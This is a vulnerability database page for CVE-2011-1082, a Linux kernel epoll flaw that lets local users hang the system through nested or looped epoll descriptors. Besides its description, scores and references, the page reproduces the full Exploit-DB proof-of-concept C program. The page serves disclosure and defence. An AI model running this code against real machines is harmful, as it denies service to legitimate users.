CVE-2011-1082 : Detail

CVE-2011-1082

0.04%V3
Local
2011-04-03 01:00 +00:00
2011-04-03 01:00 +00:00

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

fs/eventpoll.c in the Linux kernel before 2.6.38 places epoll file descriptors within other epoll data structures without properly checking for (1) closed loops or (2) deep chains, which allows local users to cause a denial of service (deadlock or stack memory consumption) via a crafted application that makes epoll_create and epoll_ctl system calls.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-400 Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

Metrics

Metric Score Severity CVSS Vector Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 35404

Publication date : 2011-03-01 23:00 +00:00
Author : Nelson Elhage
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/46630/info The Linux Kernel epoll Subsystem is prone to multiple local denial-of-service vulnerabilities. Successful exploits will allow attackers to cause the kernel to hang, denying service to legitimate users. */ #include #include #include #include #define SIZE 250 int main(void) { int links[SIZE]; int links2[SIZE]; int links3[SIZE]; int links4[SIZE]; int i, j; int ret; int ep1, ep2; struct timeval start, end; struct epoll_event evt = { .events = EPOLLIN }; ep1 = epoll_create(1); for (i = 0; i < SIZE; i++) { links[i] = epoll_create(1); ret = epoll_ctl(ep1, EPOLL_CTL_ADD, links[i], &evt); if (ret) perror("error 1"); } for (i = 0; i < SIZE; i++) { links2[i] = epoll_create(1); for (j = 0; j < SIZE; j++) { epoll_ctl(links[j], EPOLL_CTL_ADD, links2[i], &evt); if (ret) perror("error 2"); } } for (i = 0; i < SIZE; i++) { links3[i] = epoll_create(1); for (j = 0; j < SIZE; j++) { epoll_ctl(links2[j], EPOLL_CTL_ADD, links3[i], &evt); if (ret) perror("error 3"); } } for (i = 0; i < SIZE; i++) { links4[i] = epoll_create(1); for (j = 0; j < SIZE; j++) { epoll_ctl(links3[j], EPOLL_CTL_ADD, links4[i], &evt); if (ret) perror("error 4"); } } ep2 = epoll_create(1); gettimeofday(&start, NULL); ret = epoll_ctl(ep2, EPOLL_CTL_ADD, ep1, &evt); /* creates a loop */ //ret = epoll_ctl(links4[499], EPOLL_CTL_ADD, ep1, &evt); if (ret) perror("error 5"); gettimeofday(&end, NULL); printf("%ld\n", ((end.tv_sec * 1000000 + end.tv_usec) - (start.tv_sec * 1000000 + start.tv_usec))); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 2.6.38

References

http://openwall.com/lists/oss-security/2011/03/02/2
Tags : mailing-list, x_refsource_MLIST
https://lkml.org/lkml/2011/2/5/220
Tags : mailing-list, x_refsource_MLIST
http://openwall.com/lists/oss-security/2011/03/02/1
Tags : mailing-list, x_refsource_MLIST
Click on the button to the left (OFF), to authorize the inscription of cookie improving the functionalities of the site. Click on the button to the left (Accept all), to unauthorize the inscription of cookie improving the functionalities of the site.